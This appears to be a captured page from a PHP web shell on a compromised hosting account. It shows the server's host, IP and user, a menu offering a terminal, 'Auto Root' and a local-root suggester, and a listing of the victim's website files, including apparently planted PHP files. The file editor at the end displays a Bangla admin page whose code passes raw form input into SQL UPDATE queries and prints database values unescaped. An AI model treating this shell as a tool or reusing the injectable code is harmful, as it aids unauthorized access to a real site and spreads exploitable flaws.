Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.9
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
dr-xr-xr-x
2025-08-31 20:43
Roboto
[ DIR ]
drwxr-xr-x
2025-09-11 13:58
adl
[ DIR ]
drwxr-xr-x
2025-09-11 07:46
admin
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
admin-20250909201328
[ DIR ]
drwxr-xr-x
2025-09-11 18:49
admin-new-market
[ DIR ]
drwxr-xr-x
2025-09-11 19:29
admin-new-market-20250910072223
[ DIR ]
drwxr-xr-x
2025-09-10 07:22
api_key
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
api_key-20250909130339
[ DIR ]
drwxr-xr-x
2025-09-10 08:28
assets
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
assets-20250909035730
[ DIR ]
drwxr-xr-x
2025-09-10 14:06
blocks
[ DIR ]
drwxr-xr-x
2025-09-10 19:35
bootstrap-datepicker
[ DIR ]
drwxr-xr-x
2025-09-11 05:44
bootstrap-maxlength
[ DIR ]
drwxr-xr-x
2025-09-11 14:37
card
[ DIR ]
drwxr-xr-x
2025-09-11 14:32
cgi-bin
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
cgi-bin-20250909035631
[ DIR ]
drwxr-xr-x
2025-09-11 03:18
classes
[ DIR ]
drwxr-xr-x
2025-09-11 13:16
colors
[ DIR ]
drwxr-xr-x
2025-09-11 17:15
crystal
[ DIR ]
drwxr-xr-x
2025-09-11 16:10
css
[ DIR ]
drwxr-xr-x
2025-09-11 19:00
custom-js
[ DIR ]
drwxr-xr-x
2025-09-11 17:36
dashboard
[ DIR ]
drwxr-xr-x
2025-09-11 14:31
datatables.net
[ DIR ]
drwxr-xr-x
2025-09-11 07:23
datatables.net-bs4
[ DIR ]
drwxr-xr-x
2025-09-11 16:38
dist
[ DIR ]
drwxr-xr-x
2025-09-11 07:53
faces
[ DIR ]
drwxr-xr-x
2025-09-11 07:12
feather
[ DIR ]
drwxr-xr-x
2025-09-11 09:52
flag-icon-css
[ DIR ]
drwxr-xr-x
2025-09-11 19:34
folderadmin
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
folderadmin-20250909170943
[ DIR ]
drwxr-xr-x
2025-09-11 12:48
folderanimenew
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
folderanimenew-20250909234431
[ DIR ]
drwxr-xr-x
2025-09-09 23:44
font
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
font-20250909065131
[ DIR ]
drwxr-xr-x
2025-09-10 05:47
font-awesome
[ DIR ]
drwxr-xr-x
2025-09-11 13:05
fonts
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
fonts-20250909105418
[ DIR ]
drwxr-xr-x
2025-09-11 16:48
heroadmin
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
heroadmin-20250909021506
[ DIR ]
drwxr-xr-x
2025-09-09 18:45
images
[ DIR ]
drwxr-xr-x
2025-09-11 17:10
img
[ DIR ]
drwxr-xr-x
2025-09-11 06:27
includes
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
includes-20250909190951
[ DIR ]
drwxr-xr-x
2025-09-11 05:28
insert
[ DIR ]
drwxr-xr-x
2025-09-11 05:45
js
[ DIR ]
drwxr-xr-x
2025-09-11 19:13
keyadmin
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
keyadmin-20250909031726
[ DIR ]
drwxr-xr-x
2025-09-09 20:32
light
[ DIR ]
drwxr-xr-x
2025-09-11 05:23
list
[ DIR ]
drwxr-xr-x
2025-09-11 06:46
media
[ DIR ]
drwxr-xr-x
2025-09-10 15:09
nibondon
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
nibondon-20250909164710
[ DIR ]
drwxr-xr-x
2025-09-11 13:12
order
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
order-20250909201306
[ DIR ]
drwxr-xr-x
2025-09-10 08:32
pages
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
pages-20250909102154
[ DIR ]
drwxr-xr-x
2025-09-10 09:18
paragraph
[ DIR ]
drwxr-xr-x
2025-09-11 16:08
pdf
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
pdf-20250910094223
[ DIR ]
drwxr-xr-x
2025-09-10 09:42
photo
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
photo-20250909140307
[ DIR ]
drwxr-xr-x
2025-09-11 11:00
photo_smart
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
photo_smart-20250909181658
[ DIR ]
drwxr-xr-x
2025-09-10 08:24
pin
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
pin-20250909065043
[ DIR ]
drwxr-xr-x
2025-09-10 01:54
progressbar.js
[ DIR ]
drwxr-xr-x
2025-09-11 04:50
qr_photo
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
qr_photo-20250909234615
[ DIR ]
drwxr-xr-x
2025-09-09 23:46
roaring
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
roaring-20250909133050
[ DIR ]
drwxr-xr-x
2025-09-10 04:31
select2
[ DIR ]
drwxr-xr-x
2025-09-11 15:57
select2-bootstrap-theme
[ DIR ]
drwxr-xr-x
2025-09-11 15:26
server
[ DIR ]
drwxr-xr-x
2025-09-10 12:15
simple-line-icons
[ DIR ]
drwxr-xr-x
2025-09-11 17:27
smilies
[ DIR ]
drwxr-xr-x
2025-09-11 10:36
test
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
test-20250909184059
[ DIR ]
drwxr-xr-x
2025-09-10 06:52
themes
[ DIR ]
drwxr-xr-x
2025-09-10 04:41
themesth
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
themesth-20250909234527
[ DIR ]
drwxr-xr-x
2025-09-11 11:02
ti-icons
[ DIR ]
drwxr-xr-x
2025-09-11 08:27
twentytwenty
[ DIR ]
drwxr-xr-x
2025-09-11 07:34
typicons
[ DIR ]
drwxr-xr-x
2025-09-11 11:31
vendors
[ DIR ]
drwxr-xr-x
2025-09-10 13:39
wp
[ DIR ]
drwxr-xr-x
2025-09-11 18:51
wp-admin
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
wp-admin-20250909211144
[ DIR ]
drwxr-xr-x
2025-09-11 17:44
wp-content
[ DIR ]
dr-xr-xr-x
2025-09-01 07:25
wp-content-20250909125318
[ DIR ]
drwxr-xr-x
2025-09-10 15:50
wp-includes
[ DIR ]
dr-xr-xr-x
2025-09-01 07:26
wp-includes-20250909061627
[ DIR ]
drwxr-xr-x
2025-09-11 02:54
.hta
5.35
KB
-rw-r--r--
2025-09-08 03:27
.htaccess
823
KB
-rw-r--r--
2025-09-11 19:43
0ecd1cc6e6aca21f.pdf
114.33
KB
-rw-r--r--
2025-01-29 20:11
1b6c900c66204dc1.pdf
299.95
KB
-rw-r--r--
2025-05-18 06:06
30ec548a8abf7c85.pdf
130.41
KB
-rw-r--r--
2025-01-01 06:07
37julay_space.zip
2.9
MB
-rw-r--r--
2025-08-27 07:31
404.php
219.19
KB
-rw-r--r--
2024-10-25 15:16
43985e6e42521b4c.pdf
297.16
KB
-rw-r--r--
2025-08-21 13:07
5023e781d7deaf0f.pdf
128.69
KB
-rw-r--r--
2025-03-08 06:53
5935bbeb4a6dbc5f.pdf
162.3
KB
-rw-r--r--
2025-01-30 20:02
5edf195c33ba76c7.pdf
351.31
KB
-rw-r--r--
2025-01-06 10:37
6b6a892604616746.pdf
120.62
KB
-rw-r--r--
2024-12-26 05:52
6f1cff444d9de837.pdf
334.1
KB
-rw-r--r--
2025-02-20 21:15
80f6f346b24fe2b6.pdf
582.01
KB
-rw-r--r--
2025-01-03 09:52
87a8b02221fc3813.pdf
104.08
KB
-rw-r--r--
2025-06-12 13:16
8c8eb3e3d09a5f09.pdf
144.21
KB
-rw-r--r--
2025-08-11 18:27
950f65a4b7a48055.pdf
94.29
KB
-rw-r--r--
2025-01-02 05:15
Bangla.ttf
137.05
KB
-rw-r--r--
2023-12-20 13:06
FontAwesome.otf
103.77
KB
-rw-r--r--
2023-12-20 13:06
TonnyBanglaMJ-Bold.ttf
68.96
KB
-rw-r--r--
2025-05-27 07:33
TonnyBanglaMJ-Regular.ttf
69.59
KB
-rw-r--r--
2025-05-27 07:33
TonnyBanglaMJ-Regular.woff
38.16
KB
-rw-r--r--
2025-05-27 07:33
a6cb61cc9e22b001.pdf
125.85
KB
-rw-r--r--
2025-01-26 11:55
aa0bf8c11ea0b4ab.pdf
120.34
KB
-rw-r--r--
2025-02-25 20:25
admin_file_upload.php
2.96
KB
-rw-r--r--
2024-11-16 10:37
all_list.php
2.1
KB
-rw-r--r--
2024-10-25 15:16
amount_auto.php
2.39
KB
-rw-r--r--
2025-05-29 16:26
api_select.txt
1
B
-rw-r--r--
2025-08-20 19:12
api_three.txt
2
B
-rw-r--r--
2025-08-20 19:12
auto_tin.txt
2
B
-rw-r--r--
2025-08-20 19:12
b80ee5fc77c35cb4.pdf
647.28
KB
-rw-r--r--
2025-01-15 13:06
balance_update.php
622
B
-rw-r--r--
2024-11-09 07:20
bde5e2e90aa670e9.pdf
339.9
KB
-rw-r--r--
2025-02-11 04:02
bio.php
10.72
KB
-rw-r--r--
2024-11-20 16:13
bio_cancel.php
5.35
KB
-rw-r--r--
2024-11-20 16:14
birthKey.txt
24
B
-rw-r--r--
2025-05-21 11:30
bonus_control.php
4.55
KB
-rw-r--r--
2024-10-25 15:29
bpbluyix.php
760
B
-rw-r--r--
2025-08-31 20:43
cambria-math.ttf
1.34
MB
-rw-r--r--
2025-05-27 07:33
cambria-math.woff
729.15
KB
-rw-r--r--
2025-05-27 07:33
card_make.txt
1
B
-rw-r--r--
2025-08-20 19:12
change_bonus.php
1.34
KB
-rw-r--r--
2024-10-25 15:30
change_password.php
1.83
KB
-rw-r--r--
2024-10-26 17:30
config.php
392
B
-rw-r--r--
2024-12-04 06:50
configuration.php
250
B
-rw-r--r--
2024-12-04 06:50
createLink.php
4.61
KB
-rw-r--r--
2024-11-14 09:25
d26b0569989f4ac4.pdf
322.18
KB
-rw-r--r--
2025-01-14 05:52
db.php
7.03
KB
-rw-r--r--
2025-09-10 08:54
deduction_amount.txt
2
B
-rw-r--r--
2025-08-20 19:12
delete_data.php
6.51
KB
-rw-r--r--
2025-01-29 08:05
delete_server.php
1.25
KB
-rw-r--r--
2025-07-20 07:55
delete_smart.php
1.19
KB
-rw-r--r--
2025-05-29 16:24
download.php
5.8
KB
-rw-r--r--
2025-01-04 06:51
ea83faa9b0c778d3.pdf
351.93
KB
-rw-r--r--
2025-01-14 05:53
error_log
18.16
MB
-rw-r--r--
2025-08-31 10:37
fetch_balance.php
650
B
-rw-r--r--
2024-10-25 15:16
file_pending.php
14.5
KB
-rw-r--r--
2024-11-20 16:24
file_success.php
6.1
KB
-rw-r--r--
2024-11-20 16:25
fontawesome-webfont.eot
67.26
KB
-rw-r--r--
2023-12-20 13:06
fontawesome-webfont.svg
347.64
KB
-rw-r--r--
2023-12-20 13:06
fontawesome-webfont.ttf
134.96
KB
-rw-r--r--
2023-12-20 13:06
fontawesome-webfont.woff
79.38
KB
-rw-r--r--
2023-12-20 13:06
fontawesome-webfont.woff2
62.95
KB
-rw-r--r--
2023-12-20 13:06
footer.php
2.17
KB
-rw-r--r--
2024-11-15 15:08
function.php
0
B
-rw-r--r--
2023-12-20 13:06
functions-helper-20250909071110.php
10.7
KB
-rw-r--r--
2025-09-09 04:00
functions-helper.php
10.7
KB
-rw-r--r--
2025-09-11 04:00
functions.php
0
B
-rw-r--r--
2025-09-01 07:25
generate_token.php
1.12
KB
-rw-r--r--
2024-11-06 08:08
get_work_summary.php
1.05
KB
-rw-r--r--
2024-11-14 17:28
glyphicons-halflings-regular.eot
19.66
KB
-rw-r--r--
2023-12-20 13:06
glyphicons-halflings-regular.ttf
44.34
KB
-rw-r--r--
2023-12-20 13:06
glyphicons-halflings-regular.woff2
17.61
KB
-rw-r--r--
2023-12-20 13:06
google05ba1f0800f96e9f.html
53
B
-rw-r--r--
2025-08-21 08:57
googlee6fd02d83edbe9eb.html
53
B
-rw-r--r--
2025-08-21 04:56
htaccess.txt
120
B
-rw-r--r--
2025-08-21 08:56
img_68a46c3f3a6b4.
1.04
KB
-rw-r--r--
2025-08-19 12:21
img_68a484d04bde1.
111.23
KB
-rw-r--r--
2025-08-19 14:06
img_68a49a0c5b930.
14.02
KB
-rw-r--r--
2025-08-19 15:36
img_68a58a3d4c78d.
225.85
KB
-rw-r--r--
2025-08-20 08:41
img_68a58a3d4e987.
663
B
-rw-r--r--
2025-08-20 08:41
img_68a5bd6d96b9b.
668
B
-rw-r--r--
2025-08-20 12:19
img_68a5db81d9eb6.
315.23
KB
-rw-r--r--
2025-08-20 14:28
img_68a5db81dd3f8.
816
B
-rw-r--r--
2025-08-20 14:28
img_68a5dcabe01bd.
293.57
KB
-rw-r--r--
2025-08-20 14:33
img_68a5e30c638d6.
315.23
KB
-rw-r--r--
2025-08-20 15:00
img_68a5e30c6671c.
816
B
-rw-r--r--
2025-08-20 15:00
img_68a6a09c78d9d.
73.24
KB
-rw-r--r--
2025-08-21 04:29
img_68a6a09c79a3e.
18.97
KB
-rw-r--r--
2025-08-21 04:29
img_68a6b2913f186.
663
B
-rw-r--r--
2025-08-21 05:45
img_68a6bbc0cf4fb.
689
B
-rw-r--r--
2025-08-21 06:25
img_68a6c2f561a8a.
989
B
-rw-r--r--
2025-08-21 06:55
img_68a6c2f561b0b.
13.05
KB
-rw-r--r--
2025-08-21 06:55
img_68a6c2f561e6c.
1.87
KB
-rw-r--r--
2025-08-21 06:55
img_68a6c2f561f0d.
13.23
KB
-rw-r--r--
2025-08-21 06:55
img_68a7174e7ff3f.
18.89
KB
-rw-r--r--
2025-08-21 12:55
img_68a7191712fc5.
78.99
KB
-rw-r--r--
2025-08-21 13:03
img_68a76a0aa4dfe.
761
B
-rw-r--r--
2025-08-21 18:48
img_68a83b0aceddb.
222.16
KB
-rw-r--r--
2025-08-22 09:40
img_68a8a781b6f1b.
351.92
KB
-rw-r--r--
2025-08-22 17:23
img_68a8d76d3e5d0.
282.48
KB
-rw-r--r--
2025-08-22 20:47
img_68ab3a8d9a5ae.
66.82
KB
-rw-r--r--
2025-08-24 16:15
img_68ac08b4c6c26.
14.78
KB
-rw-r--r--
2025-08-25 06:54
img_68ac1e2a9ba30.
146.67
KB
-rw-r--r--
2025-08-25 08:26
img_68ac1e2a9cfae.
751
B
-rw-r--r--
2025-08-25 08:26
img_68ad51a121011.
526
B
-rw-r--r--
2025-08-26 06:18
img_68ad678d3f5e0.
77.11
KB
-rw-r--r--
2025-08-26 07:51
img_68ae9f503be6c.
70.3
KB
-rw-r--r--
2025-08-27 06:01
img_68afd5b59aeef.
85.58
KB
-rw-r--r--
2025-08-28 04:06
img_68afefaf9e0d2.
257.49
KB
-rw-r--r--
2025-08-28 05:57
img_68affb4e83afe.
97.26
KB
-rw-r--r--
2025-08-28 06:46
img_68b004421fe29.
37.54
KB
-rw-r--r--
2025-08-28 07:24
img_68b02fe3b8a85.
88.76
KB
-rw-r--r--
2025-08-28 10:30
img_68b04a81d8c70.
72.45
KB
-rw-r--r--
2025-08-28 12:24
img_68b04a81d9768.
14.8
KB
-rw-r--r--
2025-08-28 12:24
img_68b0540e8a82b.
360.17
KB
-rw-r--r--
2025-08-28 13:05
img_68b0540e8e3a6.
832
B
-rw-r--r--
2025-08-28 13:05
img_68b05a5a19a5f.
308.78
KB
-rw-r--r--
2025-08-28 13:32
img_68b05a5a1c752.
1.12
KB
-rw-r--r--
2025-08-28 13:32
img_68b1a945a851a.
15.46
KB
-rw-r--r--
2025-08-29 13:21
img_img0_685ce40a10ea4.png
312.58
KB
-rw-r--r--
2025-06-26 06:09
img_img0_687c7e3a5a9a6.png
333.88
KB
-rw-r--r--
2025-07-20 05:27
img_img0_68aabb0a16ed2.png
81.47
KB
-rw-r--r--
2025-08-24 07:11
img_img6_685ece3695a21.png
12.19
KB
-rw-r--r--
2025-06-27 17:00
index-20250909044702.php
7.43
KB
-rw-r--r--
2025-09-09 03:01
index.php
7.03
KB
-rw-r--r--
2025-09-10 08:54
login.php
1.59
KB
-rw-r--r--
2025-08-19 10:46
logout.php
313
B
-rw-r--r--
2024-11-13 15:50
marquee.php
1.5
KB
-rw-r--r--
2024-10-25 15:16
nibondon_make.txt
2
B
-rw-r--r--
2025-08-20 19:12
nid_pending.php
14.65
KB
-rw-r--r--
2024-11-20 16:25
on_off.php
15.09
KB
-rw-r--r--
2024-11-17 07:16
on_off_test.php
14.85
KB
-rw-r--r--
2024-11-17 06:25
p.php
83
B
-rw-r--r--
2025-09-09 01:20
profile.php
4.23
KB
-rw-r--r--
2024-10-25 15:16
qr_code_image.png
205.83
KB
-rw-r--r--
2024-11-10 16:40
recharge.txt
3
B
-rw-r--r--
2025-08-20 19:12
revisions.php
16.04
KB
-rw-r--r--
2025-06-09 06:55
server-copys.php
4.54
KB
-rw-r--r--
2025-02-13 07:27
sign_pending.php
16.26
KB
-rw-r--r--
2024-11-20 16:26
sign_to_server.php
4.02
KB
-rw-r--r--
2025-07-20 07:55
sitemap-1.xml
2.04
MB
-rw-r--r--
2025-08-27 08:29
sitemap-index.xml
1.34
KB
-rw-r--r--
2025-08-27 08:29
sitemap.xml
1.03
KB
-rw-r--r--
2025-08-21 04:57
smartPdfLoad.txt
2
B
-rw-r--r--
2025-08-20 19:12
smartRate.txt
2
B
-rw-r--r--
2025-08-20 19:12
smartTokenName.txt
8
B
-rw-r--r--
2025-05-29 16:31
t6wer-send.php
453
B
-rw-r--r--
2025-09-10 01:42
test.txt
10
B
-rw-r--r--
2025-08-27 07:27
token.php
3.27
KB
-rw-r--r--
2025-05-29 16:32
update_marquee.php
4.88
KB
-rw-r--r--
2024-10-27 17:24
user_1753937489.png
295.48
KB
-rw-r--r--
2025-07-31 04:51
v3_deduction_amount.txt
2
B
-rw-r--r--
2025-08-20 19:12
wp-blog-header.php
2.73
KB
-rw-r--r--
2025-09-01 07:25
wp-cron.php
2.73
KB
-rw-r--r--
2025-09-01 07:25
Save
Rename
<?php include_once("header.php"); // Check if the form has been submitted for updating individual statuses if (isset($_POST['toggle'])) { $id = intval($_POST['id']); $currentStatus = intval($_POST['current_status']); $newStatus = $currentStatus === 1 ? 0 : 1; // Toggle the status // Update the status in the database $query = "UPDATE prices SET work_status = $newStatus WHERE id = $id"; if (mysqli_query($conn, $query)) { // Status updated } } ?> <style> tbody td { font-size: 15px!important; } .input-group.price_add { width: 200px!important; } </style> <main id="main-container"> <div class="content"> <!-- Insert Data Button --> <button type="button" class="btn btn-primary mb-3" data-toggle="modal" data-target="#addModal"> নতুন কাজ যুক্ত করুন </button> <!-- Add Modal --> <div class="modal fade" id="addModal" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">নতুন কাজের তথ্য</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form id="insertForm"> <div class="form-group"> <label for="name">কাজের নাম</label> <input type="text" class="form-control" id="name" name="name" required> </div> <div class="form-group"> <label for="orderName">কাজের নাম ইংরেজিতে সংক্ষিপ্ত</label> <input type="text" class="form-control" id="orderName" name="orderName" required> </div> <div class="form-group"> <label for="price">কাজের রেট</label> <input type="number" class="form-control" id="price" name="price" required> </div> <div class="form-group"> <label for="typeOforder">কাজের ধরন</label> <select class="form-control" id="typeOforder" name="typeOforder" required> <option value="text">অর্ডার ১ (যদি টেক্স ডেলিভারি হয়)</option> <option value="file">অর্ডার ২ (যদি ফাইল ডেলিভারি হয়)</option> </select> </div> <div class="form-group"> <label for="work_status">কাজ বন্ধ নাকি চালু রাখতে চান?</label> <select class="form-control" id="work_status" name="work_status" required> <option value="1">অন</option> <option value="0">অফ</option> </select> </div> <div class="form-group"> <label for="field_height">ফিল্ড উচ্চতা</label> <input type="text" class="form-control" id="field_height" name="field_height"> </div> <div class="form-group"> <label for="field_placeholder">ফিল্ড প্লেসহোল্ডার</label> <input type="text" class="form-control" id="field_placeholder" name="field_placeholder"> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> <!-- PHP Logic --> <?php // Fetch all rows from the prices table $query = "SELECT * FROM prices"; $result = mysqli_query($conn, $query); // Update specific row if (isset($_POST['edit'])) { $id = intval($_POST['id']); $name = $_POST['name']; $orderName = $_POST['orderName']; $price = $_POST['price']; $typeOforder = $_POST['typeOforder']; $work_status = intval($_POST['work_status']); $field_height = $_POST['field_height']; $field_placeholder = $_POST['field_placeholder']; $updateQuery = "UPDATE prices SET name='$name', orderName='$orderName', price='$price', typeOforder='$typeOforder', work_status='$work_status', field_height='$field_height', field_placeholder='$field_placeholder' WHERE id=$id"; mysqli_query($conn, $updateQuery); } // Update all statuses if (isset($_POST['update_all'])) { $status = intval($_POST['status']); $query = "UPDATE prices SET work_status = $status"; mysqli_query($conn, $query); } ?> <!-- Main Table --> <div class="card mb-3 p-3"> <h4 class="py-2 fw-bold text-center text-primary"> কাজ চালু বন্ধ করুন </h4> <div id="mainTableDiv"> <table border="1" class="table table-striped"> <tr> <th>ID</th> <th>কাজের নাম</th> <th>কাজের নাম ইংরেজিতে</th> <th>ফিল্ড উচ্চতা</th> <th>ফিল্ড প্লেসহোল্ডার</th> <th>Status</th> <th>ON/OFF</th> <th>Price</th> <th>Action</th> </tr> <?php // Loop through rows and display them if (mysqli_num_rows($result) > 0) { while ($row = mysqli_fetch_assoc($result)) { echo "<tr>"; echo "<td style='white-space:normal!important'>" . $row['id'] . "</td>"; echo "<td style='white-space:normal!important'>" . $row['name'] . "</td>"; echo "<td style='white-space:normal!important'>" . $row['orderName'] . "</td>"; echo "<td style='white-space:normal!important'>" . $row['field_height'] . "</td>"; echo "<td style='white-space:normal!important'>" . $row['field_placeholder'] . "</td>"; echo "<td style='white-space:normal!important'>" . ($row['work_status'] == 1 ? '<span class="text-success">অন আছে</span>' : '<span class="text-danger">অফ আছে</span>') . "</td>"; ?> <td> <form method="POST" style="display:inline;"> <input type="hidden" name="id" value="<?php echo $row['id']; ?>"> <input type="hidden" name="current_status" value="<?php echo $row['work_status']; ?>"> <button type="submit" name="toggle" class="px-3 py-2 btn <?php echo $row['work_status'] == 1 ? 'btn-success' : 'btn-danger'; ?>" onclick="return confirm('<?php echo $row['work_status'] == 1 ? 'আপনি কি এই সাভির্সটি বন্ধ করে চান?' : 'আপন কি এই সাভির্সটি চালু করতে চান?'; ?>');"> <i class="fa fa-2x fa-power-off"></i> </button> </form> </td> <td><?php echo $row['price']; ?></td> <td> <button type="button" class="btn btn-warning" data-toggle="modal" data-target="#editModal<?php echo $row['id']; ?>"> Edit </button> </td> <?php echo "</tr>"; ?> <!-- Edit Modal --> <div class="modal fade" id="editModal<?php echo $row['id']; ?>" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">তথ্য সম্পাদনা করুন</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form method="POST"> <input type="hidden" name="id" value="<?php echo $row['id']; ?>"> <div class="form-group"> <label for="name">কাজের নাম</label> <input type="text" class="form-control" name="name" value="<?php echo $row['name']; ?>" required> </div> <div class="form-group d-none"> <label for="orderName">কাজের নাম ইংরেজিতে</label> <input type="text" class="form-control" name="orderName" value="<?php echo $row['orderName']; ?>" required> </div> <div class="form-group "> <label for="price">কাজের রেট</label> <input type="number" class="form-control" name="price" value="<?php echo $row['price']; ?>" required> </div> <div class="form-group"> <label for="typeOforder">কাজের ধরন</label> <select class="form-control" name="typeOforder" required> <option value="text" <?php echo $row['typeOforder'] == 'text' ? 'selected' : ''; ?>>অর্ডার ১</option> <option value="file" <?php echo $row['typeOforder'] == 'file' ? 'selected' : ''; ?>>অর্ডার ২</option> </select> </div> <div class="form-group"> <label for="work_status">কাজের স্ট্যাটাস</label> <select class="form-control" name="work_status" required> <option value="1" <?php echo $row['work_status'] == 1 ? 'selected' : ''; ?>>অন</option> <option value="0" <?php echo $row['work_status'] == 0 ? 'selected' : ''; ?>>অফ</option> </select> </div> <div class="form-group"> <label for="field_height">ফিল্ড উচ্চতা</label> <input type="text" class="form-control" name="field_height" value="<?php echo $row['field_height']; ?>"> </div> <div class="form-group"> <label for="field_placeholder">ফিল্ড প্লেসহোল্ডার</label> <textarea type="text" class="form-control" name="field_placeholder" col="4"><?php echo $row['field_placeholder']; ?></textarea> </div> <button type="submit" name="edit" class="btn btn-primary">Update</button> </form> </div> </div> </div> </div> <?php } } ?> </table> </div> </div> </div> </main> <?php include_once("footer.php"); ?> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <script> $(document).ready(function() { $('#insertForm').on('submit', function(e) { e.preventDefault(); // Prevent the default form submission $.ajax({ url: 'pages/insert_price.php', // The PHP file to handle the request type: 'POST', data: $(this).serialize(), // Serialize form data success: function(response) { alert(response); // Show success message $('#insertModal').modal('hide'); // Hide the modal $('#insertForm')[0].reset(); // Reset the form location.reload(); // Optionally refresh the page to see the new data }, error: function() { alert('An error occurred. Please try again.'); // Handle errors } }); }); // Set active class on the appropriate navigation link $('.nav-item').removeClass("active"); $('.on_off').addClass("active"); }); </script>